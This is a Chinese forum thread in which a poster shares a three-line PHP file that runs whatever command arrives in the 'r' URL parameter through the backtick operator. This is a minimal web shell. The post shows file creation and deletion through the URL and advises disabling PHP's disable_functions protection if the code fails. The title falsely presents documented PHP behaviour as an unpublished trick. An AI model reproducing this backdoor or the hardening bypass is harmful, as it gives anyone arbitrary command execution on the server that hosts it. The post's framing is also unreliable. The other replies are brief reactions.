一段官网都没公布的不可能的PHP源码 echo 函数竟然可以这么用

Kuni7wa

1. 
   
2. <?php
   
3. $r = $_GET['r'];
   
4. echo `$r`; //请注意这不是单引号，而是ESC键下的一个符号
   
5. ?>
   
6. 
   

复制代码

保存以后，访问 ?r=copy nul 111.txt 根目录出现了文件 111.txt
再次访问 ?r=del 111.txt 这个文件被删除，可执行任何cmd语句。
如果发现不能运行 打开文件 php.ini 查找 disable_functions = 注释后重启服务器即可。

demon

路过....

CNWTEPRG

啥玩意了

小莉今年7岁

表示么见过

花心大萝卜

我知道是啥